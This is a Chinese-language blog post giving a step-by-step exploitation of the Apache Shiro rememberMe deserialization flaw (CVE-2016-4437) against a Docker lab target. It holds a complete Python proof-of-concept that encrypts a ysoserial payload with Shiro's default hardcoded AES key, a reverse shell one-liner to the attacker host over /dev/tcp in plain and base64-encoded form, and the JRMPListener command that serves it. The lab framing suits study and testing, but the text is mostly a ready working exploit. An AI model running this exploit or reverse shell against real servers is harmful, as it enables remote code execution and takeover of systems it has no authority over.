Apache Shiro Java反序列化漏洞(CVE-2016-4437)

我只是个无情的挂马机器,原理相信百度一大把,我就不赘述了

0x00 环境要求

靶机:192.168.100.23
攻击机:192.168.100.34

0x01 环境搭建

这里使用docker进行环境搭建:

下载
git clone https://github.com/Medicean/VulApps/tree/master/s/shiro/1
1.拉取环境到本地
$ docker pull medicean/vulapps:s_shiro_1
2.启动环境
$ docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

在这里插入图片描述

搭建成功

在这里插入图片描述

0x02 需要文件

1、ysoserial反序列化利用工具生成ysoserial-0.0.6-SNAPSHOT-all.jar
2、反弹shell的命令进行编码网站

http://www.jackson-t.ca/runtime-exec-payloads.html

3、利用poc

制作文件

1、ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

mvn(maven)环境搭建教程:
https://www.runoob.com/maven/maven-setup.html
即可生成ysoserial-0.0.6-SNAPSHOT-all.jar文件
在这里插入图片描述
2、
制作反弹shell的命令,使用http://www.jackson-t.ca/runtime-exec-payloads.html进行编码

bash -i >& /dev/tcp/192.168.100.34/8888 0>&1

在这里插入图片描述
3、大佬poc:poc.py:

#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
import sys
from Crypto.Cipher import AES

JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
    except Exception, e:
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    poc("http://192.168.100.23:8080","192.168.100.34:1096")

使用ysoserial中的JRMP监听模块,监听1096 端口

这里介绍一下上面poc里面的JRMPClient与下面使用监听命令的JRMPListenter

payloads/JRMPClient 是结合 exploit/JRMPListener 使用的
JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload
payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的
超详细分析:https://xz.aliyun.com/t/2650

(执行此命令的时候,ysoserial-0.0.6-SNAPSHOT-all.jar要在当前目录哦)
在攻击机上执行监听命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar  ysoserial.exploit.JRMPListener 1096 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4zNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

在这里插入图片描述
在要反弹到的机器(攻击机)上执行监听8888端口,静候shell
在这里插入图片描述
执行poc:
在这里插入图片描述
shell反弹成功
在这里插入图片描述
至此利用成功。

这里提供工具下载包括

poc文件
ysoserial-0.0.6-SNAPSHOT-all.jar文件
密钥硬编码文件shiro-core-1.2.4.jar
参考文章
https://www.cnblogs.com/bmjoker/p/11650295.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值